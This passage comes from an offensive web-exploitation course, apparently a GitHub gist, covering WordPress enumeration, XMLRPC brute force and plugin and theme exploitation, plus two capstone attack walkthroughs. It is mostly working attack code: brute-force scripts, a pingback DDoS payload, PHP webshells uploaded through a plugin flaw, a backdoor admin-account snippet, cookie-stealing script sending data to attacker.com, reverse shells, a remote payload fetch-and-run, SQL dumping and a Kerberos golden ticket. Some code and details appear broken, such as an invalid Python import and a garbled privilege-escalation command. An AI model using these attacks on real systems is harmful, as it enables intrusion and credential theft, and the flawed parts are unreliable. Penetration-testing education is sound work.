define('DB_HOST', 'localhost');
define('AUTH_KEY', 'put your unique phrase here');

wp-content/uploads:

/var/www/html/wp-content/uploads/2026/06/

User uploads go here. Usually NOT executable. But sometimes misconfigured.

WordPress REST API

Endpoints:

GET /wp-json/wp/v2/posts
GET /wp-json/wp/v2/users
POST /wp-json/wp/v2/posts

User enumeration:

GET /wp-json/wp/v2/users
→ [ {"id": 1, "name": "admin", "slug": "admin"} ]

If REST API user enumeration is disabled, enumerate via author archive:

for i in {1..20}; do
  curl -s -o /dev/null -w "%{http_code}" "http://target.com/?author=$i"
  echo " author=$i"
done

WordPress Security Mechanisms

Nonce tokens:

// In forms
wp_nonce_field('delete-comment_123');

// Verify in handler
if (!wp_verify_nonce($_POST['_wpnonce'], 'delete-comment_123')) {
    die('Security check failed');
}

CSRF protection: Nonces + SameSite cookies.

File upload: MIME type check, no PHP execution in uploads by default.


Lesson 32: WordPress Enumeration

Discovery

Is it WordPress?

# Check for WordPress-specific files
curl -s http://target.com/wp-login.php | grep -i wordpress
curl -s http://target.com/readme.html | head -20
curl -s http://target.com/wp-content/uploads/ | head -20

# Meta generator tag
curl -s http://target.com | grep 'WordPress'

Version detection:

# Via meta tag
curl -s http://target.com | grep 'version'

# Via generator tag
<meta name="generator" content="WordPress 6.4.3">

# Via RSS
curl -s http://target.com/feed/ | grep 'generator'

# Via wp-includes/version.php
curl -s http://target.com/wp-includes/version.php | grep 'wp_version'

wpscan — The WordPress Scanner

# Basic scan
wpscan --url http://target.com

# With API token (better results)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Enumerate users
wpscan --url http://target.com --enumerate u

# Enumerate plugins
wpscan --url http://target.com --enumerate p

# Enumerate themes
wpscan --url http://target.com --enumerate t

# Aggressive plugin detection
wpscan --url http://target.com --enumerate p --plugins-detection aggressive

# Password brute force
wpscan --url http://target.com --passwords /usr/share/wordlists/rockyou.txt --usernames admin

Plugin Enumeration

Via wpscan:

wpscan --url http://target.com --enumerate p

Via API (for known vulnerabilities):

https://wpscan.com/plugin/{plugin_name}

Common vulnerable plugins:

Plugin Vulnerability Severity
revslider File upload RCE Critical
gravityforms SQL injection Critical
wordpress-seo XSS High
contact-form-7 File upload High
upty Authentication bypass Critical
duplicator File disclosure High
filemanager Arbitrary file read Critical

Theme Enumeration

wpscan --url http://target.com --enumerate t

Look for:

  • Outdated themes
  • Custom themes with vulnerabilities
  • Theme-specific vulnerabilities

User Enumeration

Via REST API:

curl -s http://target.com/wp-json/wp/v2/users

Via author archive:

for i in {1..30}; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://target.com/?author=$i")
  if [ "$code" == "200" ]; then
    echo "User ID: $i"
  fi
done

Via login page:

curl -s "http://target.com/wp-login.php" | grep 'user_login'

Lesson 33: WordPress Authentication Attacks

Login Page Attacks

wp-login.php:

http://target.com/wp-login.php
http://target.com/wp-admin/

Username enumeration via error messages:

# Wrong password
"ERROR: The password you entered for the username admin is incorrect."

# Wrong username
"ERROR: Invalid username."

If you get "Invalid username" → that username doesn't exist.

Brute force protection:

  • Many plugins: Limit Login Attempts, Wordfence
  • IP-based lockout
  • 2FA plugins

Bypass:

# Use proxy with different IPs
# Or: if lockout is per username, rotate usernames

XMLRPC Attacks

What is XMLRPC? WordPress's API alternative to REST API. Handles pingbacks, metaWeblog, blogger APIs.

Enabled by default. Access at:

http://target.com/xmlrpc.php

System.multicall — Brute force via XMLRPC:

<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsers</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value><array><data><value><string>1</string></value></array></array>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

Brute force without lockout:

import requests
import xmlrpc.etree.ElementTree as ET

target = "http://target.com/xmlrpc.php"

def try_login(username, password):
    payload = f"""<?xml version="1.0"?>
    <methodCall>
      <methodName>wp.getUsers</methodName>
      <params>
        <param><value><string></string></value></param>
        <param><value><string>{username}</string></value></param>
        <param><value><string>{password}</string></value></param>
      </params>
    </methodCall>"""
    r = requests.post(target, data=payload)
    return "faultCode" not in r.text

# Test credentials
print(try_login("admin", "password123"))

Pingback DDoS:

<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://target.com</string></value></param>
    <param><value><string>http://victim.com/</string></value></param>
  </params>
</methodCall>

WP-CLI Exploitation

If you have shell access to the server:

# List users
wp user list --path=/var/www/html

# Reset password
wp user update admin --pass=NewPassword123 --path=/var/www/html

# Activate plugin
wp plugin activate all-in-one-seo-pack --path=/var/www/html

# Execute PHP
wp eval 'echo "test";' --path=/var/www/html

Lesson 34: WordPress Plugin Exploitation

Plugin Vulnerabilities

Unauthenticated access to plugin functions: Many plugins register REST endpoints or admin-ajax.php handlers without proper capability checks.

Example: Plugin registers admin action without nonce check:

add_action('wp_ajax_save_plugin_settings', 'save_settings');
// No capability check, no nonce check
// If logged in as subscriber, can still access

File Manager Plugin RCE (CVE-2020-25213)

Plugin: File Manager (wp-file-manager) Vulnerability: Unauthenticated arbitrary file read/upload Versions: < 1.3

Find it:

GET /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Exploitation:

# Read files
curl "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=ls&target=/var/www/html/"

# Upload shell
curl -F "files[]=@shell.php" "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

Duplicator Plugin (CVE-2020-11738)

Plugin: Duplicator Vulnerability: Directory traversal, arbitrary file read Versions: < 1.3.24

Exploitation:

GET /wp-content/plugins/duplicator/installer/installer.php?get=1&file=../../wp-config.php

Downloads the backup including database credentials.

Elementor Plugin RCE (CVE-2021-1294)

Plugin: Elementor Vulnerability: Authenticated RCE via post meta Versions: < 3.1.4

Requires: Contributor+ account

Exploitation:

  1. Edit a post as contributor
  2. Add custom CSS with PHP payload (via Elementor's custom code feature)
  3. Trigger the payload

Gravity Forms Unvalidated File Upload

Plugin: Gravity Forms Vulnerability: Unauthenticated file upload Versions: < 2.4

Exploitation:

# Upload PHP shell as file
curl -F "file=@shell.php" -F "form_id=1" "http://target.com/wp-content/plugins/gravityforms/upload.php"

Plugin Exploitation Workflow

# 1. Enumerate plugins
wpscan --url http://target.com --enumerate p --plugins-detection aggressive

# 2. Check each for known vulnerabilities
# https://wpscan.com/plugin/{plugin_name}

# 3. If unauthenticated RCE found:
#    Upload shell via the vulnerability

# 4. If authenticated (subscriber+):
#    Find author/contributor account
#    Brute force credentials
#    Use stored XSS + CSRF chain

Lesson 35: WordPress Theme Exploitation

Theme Vulnerabilities

1. functions.php backdoors:

// Hidden admin account
add_action('wp_head', 'create_admin');
function create_admin() {
    if (!username_exists('backupadmin')) {
        $id = wp_create_user('backupadmin', 'BackupPass123!', 'admin@backup.com');
        $role = get_role('administrator');
        add_role('backup_admin', 'Backup Admin', $capabilities);
    }
}

2. Theme-specific file upload:

// Customizer logo upload without validation
// If checked via MIME type only → bypass

3. Theme options injection:

// If theme saves options to database unsafely
update_option('theme_custom_css', $_POST['custom_css']);
// XSS in custom_css field

Stored XSS via Theme Customizer

Scenario: Theme allows custom CSS/JavaScript in customizer.

Attack:

  1. Go to Appearance → Customize → Additional CSS
  2. Inject:
body { background: url('http://attacker.com/xss.gif'); }

XSS via CSS is limited, but stored.

Better — via custom JavaScript: If theme has "Custom JavaScript" field:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Theme File Inclusion

If theme uses include() with user input:

// Dangerous
$theme_page = $_GET['page');
include(get_template_directory() . '/pages/' . $theme_page . '.php');

Access:

GET /wp-content/themes/vulnerable-theme/page.php?page=../../wp-config

Real-World: ThemeRex Theme RCE

Theme: ThemeRex Vulnerability: Authenticated (author+) arbitrary file upload Exploitation:

  1. Create post as author
  2. Upload malicious theme file via customizer
  3. Activate theme
  4. RCE via functions.php

Exercise 13: WordPress Brute Force via XMLRPC

Objective: Use XMLRPC system.multicall to brute force WordPress login without triggering lockout.

Lab: Any WordPress installation with valid credentials.

Setup:

# Install WordPress on DVWA or use PortSwigger lab
# Credentials: admin / password

Steps:

  1. Test XMLRPC is enabled:
curl -s -X POST "http://target.com/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
  1. Should return list of methods including wp.getUsers, wp.login.

  2. Create wordlist:

password
admin
password123
admin123
qwerty
letmein
  1. Write Python script:
import requests

target = "http://target.com/xmlrpc.php"
users = ["admin", "administrator", "root"]
passwords = ["password", "admin", "password123", "admin123", "qwerty", "letmein"]

for user in users:
    for password in passwords:
        payload = f"""<?xml version="1.0"?>
        <methodCall>
          <methodName>wp.login</methodName>
          <params>
            <param><value><string>{user}</string></value></param>
            <param><value><string>{password}</string></value></param>
          </params>
        </methodCall>"""
        r = requests.post(target, data=payload)
        if "faultCode" not in r.text:
            print(f"SUCCESS: {user}:{password}")
            exit()
  1. Run script → finds admin:password

  2. Login to wp-admin with found credentials.

Solution

Why this works:

  • Traditional wp-login.php brute force triggers lockout after 3-5 attempts
  • XMLRPC wp.login doesn't always trigger the same lockout
  • system.multicall allows batching multiple login attempts in one request

Full multicall approach (faster):

import requests

target = "http://target.com/xmlrpc.php"
payload = """<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.login</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>"""

r = requests.post(target, data=payload)
print(r.text)

Note: WordPress 4.4+ added rate limiting to XMLRPC. But some hosts don't enforce it properly.


Exercise 14: Exploit File Manager Plugin RCE

Objective: Exploit the File Manager plugin to upload a webshell and gain RCE.

Lab: PortSwigger "WordPress Compromised Plugin RCE"

Steps:

  1. Enumerate plugins:
wpscan --url http://target.com --enumerate p
  1. Find file-manager plugin → version < 1.3

  2. Test vulnerability:

curl -s "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
  1. If accessible, test file read:
curl "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=id&target=NONE"
  1. Upload webshell:
# Create shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload via connector
curl -F "files[]=@shell.php" \
  "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
  1. Find uploaded shell:
curl "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=ls&target=/var/www/html/wp-content/plugins/wp-file-manager/lib/files/"
  1. Execute commands:
curl "http://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=whoami"
  1. Get reverse shell:
curl "http://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261"
Solution

Full exploitation chain:

  1. Discovery:
curl -s "http://target.com/wp-content/plugins/wp-file-manager/" | grep -i file-manager
  1. Version check:
curl -s "http://target.com/wp-content/plugins/wp-file-manager/readme.txt" | head -20
  1. Webshell upload:
# Create a slightly obfuscated shell
cat > shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>";
}
?>
EOF

curl -X POST \
  -F "files[]=@shell.php" \
  "http://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
  1. Verify upload:
curl -s "http://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"
  1. Upgrade to meterpreter:
# In shell
curl http://attacker.com:8080/shell.elf -o /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf

Summary Table

Lesson Topic Key Technique Impact
31 WP Architecture Directory structure, REST API Understanding surface
32 WP Enumeration wpscan, user enum, plugin enum Map the target
33 WP Auth Attacks XMLRPC brute force, pingback Account takeover
34 Plugin Exploitation RCE via plugin vulnerabilities Server compromise
35 Theme Exploitation Backdoors, customizer XSS Persistence, XSS

Quick Reference: WordPress Attack Cheat Sheet

Attack Command Tool
User enum curl /wp-json/wp/v2/users Manual
Version curl /wp-includes/version.php Manual
Plugin scan wpscan --url target --enumerate p wpscan
Theme scan wpscan --url target --enumerate t wpscan
XMLRPC brute POST to xmlrpc.php with wp.login Python
Plugin RCE Upload via vulnerable endpoint curl + manual
Theme backdoor grep for create_user in functions.php grep

Next Module: Capstone CTF Walkthroughs — We'll walk through two full attack chains: a bug bounty writeup and a HackTheBox web challenge. Real targets, real exploits.

Module 8: Capstone CTF Walkthroughs — Bug Bounty + HackTheBox

Lesson 36: Capstone 1 — WordPress + File Manager RCE to Domain Admin

Scenario

Target: http://target-corp.com — A WordPress corporate site Goal: Compromise the web server, then pivot to Active Directory domain admin Time to complete: 2-4 hours Tools needed: Burp Suite, wpscan, nmap, Metasploit, PowerShell

Phase 1: Reconnaissance

Step 1: Port scan

nmap -p 22,80,443,3306,8080,8443 -sV -oA target_scan target-corp.com

Results:

22/tcp   open  ssh      OpenSSH 7.4
80/tcp   open  http     Apache 2.4.6
443/tcp  open  ssl/http Apache 2.4.6
3306/tcp open  mysql    MySQL 5.7.32
8080/tcp open  http     Apache 2.4.6 (proxy)

Step 2: WordPress discovery

curl -s http://target-corp.com | grep -i 'WordPress'
# <meta name="generator" content="WordPress 6.2.2">

curl -s http://target-corp.com/readme.html | head -10
# Version 6.2.2

Step 3: wpscan

wpscan --url http://target-corp.com --enumerate u,p,t --api-token YOUR_TOKEN

Findings:

  • WordPress 6.2.2
  • User: admin (enumerated via /wp-json/wp/v2/users)
  • Plugins: wp-file-manager version 1.2 (VULNERABLE — CVE-2020-25213)
  • Theme: twentytwentythree

Phase 2: Initial Access via File Manager

Step 1: Verify File Manager vulnerability

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
# Returns JSON — endpoint is accessible

Step 2: Test command execution

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php?cmd=id&target=NONE"
# Response: {"error":"no such file or directory"}
# But we see it's processing cmd parameter

Step 3: Create and upload webshell

cat > shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>".shell_exec($_REQUEST['cmd'])."</pre>";
}
?>
EOF

curl -X POST \
  -F "files[]=@shell.php" \
  "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

Step 4: Verify shell

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"
# uid=48(apache) gid=48(apache) groups=48(apache)

RCE confirmed — we have a low-privilege Apache user.

Phase 3: Privilege Escalation

Step 1: Enumerate the system

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=cat+/etc/passwd"
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=uname+-a"
curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=whoami"

System info:

  • CentOS 7
  • Kernel 3.10.0-1160.el7.x86_64
  • Apache 2.4.6
  • Running as apache user

Step 2: Check for SUID binaries

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=find+/+-perm+-4000+-type+f+2>/dev/null"

Findings:

  • /usr/bin/sudo (misconfigured)
  • /usr/bin/systemctl (potential GTFO bins)

Step 3: Check sudo permissions

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=sudo+-l"
# User apache may run the following commands on localhost:
# (ALL) NOPASSWD: /usr/bin/systemctl

Step 4: GTFO bins privilege escalation

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=sudo+systemctl+status+httpd"
# Works — we can run systemctl as root

Step 5: Get root shell

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=sudo+systemctl+exec.start+'+/bin/bash+-c+/bin/bash+-i'"

We are root.

Phase 4: Database Access

Step 1: Find wp-config.php

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=cat+/var/www/html/wp-config.php"

Credentials:

define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'Str0ngDBP@ssw0rd123!');
define('DB_HOST', 'localhost');

Step 2: Dump WordPress credentials

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=mysql+-uwp_user+-pStr0ngDBP@ssw0rd123!+-Dwordpress+-e+'SELECT+user_login,user_pass+FROM+wp_users;'"

Hashes:

admin     $P$Bxxxxxxxxxxxxxxxxxxxxxxxxx
editor    $P$Bxxxxxxxxxxxxxxxxxxxxxxxxx

Step 3: Crack hashes

echo '$P$Bxxxxxxxxxxxxxxxxxxxxxxxxx' > hash.txt
hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt
# admin:Welcome2023!

Phase 5: Active Directory Pivot

Step 1: Enumerate internal network

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=ip+a"
# eth0: 10.10.20.5/24 (internal network)

Step 2: Discover AD server

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=nslookup+dc01.target-corp.local"
# 10.10.20.10

Step 3: LDAP enumeration

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=ldapsearch+-x+-h+10.10.20.10+-b+'DC=target-corp,DC=local'+-D+'wp_user@target-corp.local'+-w'Str0ngDBP@ssw0rd123!'"

Step 4: Find domain admin

curl -s "http://target-corp.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=ldapsearch+-x+-h+10.10.20.10+-b+'CN=Domain+Admins,CN=Users,DC=target-corp,DC=local'+-D+'wp_user@target-corp.local'+-w'Str0ngDBP@ssw0rd123!'"

Step 6: Golden ticket attack

# On attacker machine, extract krbtgt hash from DC
# Then generate golden ticket with Mimikatz

mimikatz # kerberos::golden /user:Administrator /domain:target-corp.local /krbtgt:HASH /sid:S-1-5-21-xxxxx /ptt
mimikatz # kerberos::tgt

# Now access domain admin resources

Goal achieved: Domain Admin


Lesson 37: Capstone 2 — HackTheBox Photo Blog (SQLi + LFI + RCE)

Scenario

Target: 10.10.11.15 (HackTheBox Photo Blog) Goal: Get user.txt and root.txt Difficulty: Medium Tools: Burp Suite, SQLMap, nmap, linpeas

Phase 1: Enumeration

Step 1: nmap scan

nmap -p 22,80,3000 -sV -oA photo_blog 10.10.11.15

Results:

22/tcp   open  ssh      OpenSSH 8.9
80/tcp   open  http     Apache 2.4.52
3000/tcp open  http     Node.js (Express)

Step 2: Web enumeration

curl -s http://10.10.11.15 | head -50
# Photo Blog — Simple Image Hosting
# Links to /public, /login, /register

Step 3: Register and login

curl -s -X POST http://10.10.11.15/register \
  -d "username=test&email=test@test.com&password=test123"
curl -s -X POST http://10.10.11.15/login \
  -d "username=test&password=test123" -c cookies.txt

Phase 2: SQL Injection (Union-Based)

Step 1: Find injection point

curl -s "http://10.10.11.15/public?album=1" | grep -i photo
# Returns photos from album 1

Step 2: Test SQLi

curl -s "http://10.10.11.15/public?album=1'+UNION+SELECT+NULL--"
# Error: SQL syntax

Step 3: Use SQLMap

sqlmap -u "http://10.10.11.15/public?album=1" --cookie=cookies.txt --batch --dbs

Databases found:

[*] information_schema
[*] photo_blog_db

Step 4: Enumerate tables

sqlmap -u "http://10.10.11.15/public?album=1" --cookie=cookies.txt -D photo_blog_db --tables

Tables:

alerts
users
photos

Step 5: Dump users

sqlmap -u "http://10.10.11.15/public?album=1" --cookie=cookies.txt -D photo_blog_db -T users --dump

Credentials:

admin    $2a$12$...  (bcrypt hash)
viewer   $2a$12$...

Step 6: Crack with john

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# admin:password1

Phase 3: Find LFI via Photo Upload

Step 1: Explore the application

curl -s http://10.10.11.15 -b cookies.txt
# Find upload functionality: /upload

Step 2: Upload feature

curl -s -X POST http://10.10.11.15/upload -b cookies.txt -F "image=@test.jpg"
# Returns: {"filename": "abc123.jpg", "path": "/var/www/photos/abc123.jpg"}

Step 3: Find LFI

curl -s "http://10.10.11.15/public?album=../../etc/passwd"
# Returns /etc/passwd content!

LFI confirmed in album parameter.

Phase 4: LFI to RCE via Log Poisoning

Step 1: Identify log locations

curl -s "http://10.10.11.15/public?album=../../var/log/apache2/access.log" | head -20
# Access log accessible

Step 2: Inject PHP payload via User-Agent

curl -A "<?php system(\$_GET['cmd']); ?>" http://10.10.11.15/

Step 3: RCE via LFI

curl -s "http://10.10.11.15/public?album=../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data) gid=33(www-data)

Step 4: Reverse shell

curl -s "http://10.10.11.15/public?album=../../var/log/apache2/access.log&cmd=bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261"

On attacker box:

nc -lvnp 4444
# Shell received — user: www-data

Phase 5: Privilege Escalation

Step 1: Enumerate with linpeas

# Download and run linpeas
curl -s http://attacker.com/linpeas.sh | bash

Findings:

  • SUID: /usr/bin/node (misconfigured)
  • Cron job: /usr/local/scripts/backup.sh runs as root

Step 2: GTFO bins — node SUID

node -e "require('child_process').exec('bash -i')"
# Spawns root shell

Step 3: Or exploit the cron job

# Check backup.sh
curl -s "http://10.10.11.15/public?album=../../usr/local/scripts/backup.sh"
# It copies /var/www to /backup
# Overwrite with malicious backup

Step 4: Get root via node

/usr/bin/node -e "require('child_process').exec('bash -p')"
# uid=0(root)

Phase 6: Capture Flags

User flag:

cat /home/admin/user.txt
# f4e2c8d1b7a3...

Root flag:

cat /root/root.txt
# 9e8a7b6c5d4e...

Summary Table

Capstone Target Initial Vector Escalation Goal
1 WordPress + AD File Manager RCE sudo systemctl Domain Admin
2 HTB Photo Blog SQLi + LFI node SUID Root

Key Takeaways

Attack Chaining

  1. No single exploit wins. Real compromises chain multiple vulnerabilities.
  2. Low-privilege is enough. A plugin RCE → sudo misconfiguration → AD is a realistic path.
  3. LFI is often exploitable. Log poisoning, session poisoning, or procfs — always try.
  4. WordPress is a goldmine. Plugin vulnerabilities + weak sudo configs = easy root.

Methodology Summary

1. Recon         → nmap, wpscan, enumerate
2. Initial Access → Plugin RCE, SQLi, Auth bypass
3. Escalate      → sudo, SUID, kernel exploits
4. Pivot         → Database creds, AD enumeration
5. Exfiltrate    → Flags, hashes, domain admin

Common HTB/Web Challenge Patterns

Pattern Technique Example
SQL injection UNION, Boolean blind Photo Blog album parameter
LFI Log poisoning, procfs /public?album=../../log
File upload Polyglot, extension bypass Image upload → PHP
Auth bypass JWT none, weak secret Cookie manipulation
SSRF Metadata, internal API Image URL preview
IDOR Enumerate IDs /profile/1 → /profile/2

Final Exercise: Complete the HTB Photo Blog Box

Objective: Walk through the complete HTB Photo Blog attack chain independently.

Steps to complete:

  1. Enumerate the web application
  2. Register and explore upload functionality
  3. Find SQL injection in album parameter
  4. Dump credentials, crack admin hash
  5. Exploit LFI in album parameter
  6. RCE via log poisoning
  7. Privilege escalate via node SUID
  8. Capture both flags

Expected deliverable: A writeup with screenshots and commands for each step.


Quick Reference: CTF/Web Challenge Checklist

□ Port scan (nmap)
□ Web enumeration (curl, dirb, gobuster)
□ Technology detection (wappalyzer, whatweb)
□ Register account if possible
□ Test all parameters for SQLi
□ Test all parameters for XSS
□ Test all parameters for IDOR
□ Test file upload functionality
□ Test LFI via all file path parameters
□ Check for SSRF in URL parameters
□ Enumerate internal services if LFI/SSRF found
□ Escalate privileges
□ Capture flags

Congratulations! You've completed the Web Exploitation Course. You now have:

  • Burp Suite mastery — Proxy, Repeater, Intruder, Decoder
  • SQL injection exploitation — Union, Boolean, Time-based, SQLMap
  • XSS attack chain — Reflected, Stored, DOM, CSRF
  • Server-side attacks — SSRF, LFI, RFI, XXE, Command Injection
  • File upload attacks — Bypass, webshell, RCE
  • Authentication attacks — JWT, OAuth, session management
  • WordPress pentesting — Enumeration, plugin exploitation, XMLRPC
  • Real-world attack chains — WordPress → Domain Admin, SQLi → LFI → Root

Next steps:

  • Practice on PortSwigger Web Security Academy (free)
  • Complete HackTheBox web challenges
  • Participate in bug bounty programs
  • Study OWASP Top 10 in depth

Final Summary Table

Module Lessons Key Techniques Tools
1 1-5 Burp Suite, HTTP, Recon, Methodology Burp, nmap, wpscan
2 6-10 SQLi (Union, Boolean, Time) SQLMap, Burp
3 11-15 XSS (Reflected, Stored, DOM), CSRF Burp, XSS vectors
4 16-20 SSRF, Path Traversal, LFI, RFI, XXE Burp, curl
5 21-25 Command Injection, File Upload, IDOR Burp, webshells
6 26-30 Auth flaws, JWT attacks, OAuth jwt_tool, Burp
7 31-35 WordPress (Plugins, Themes, Auth) wpscan, XMLRPC
8 36-37 Full attack chains, CTF walkthroughs All tools

End of Web Exploitation Course

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment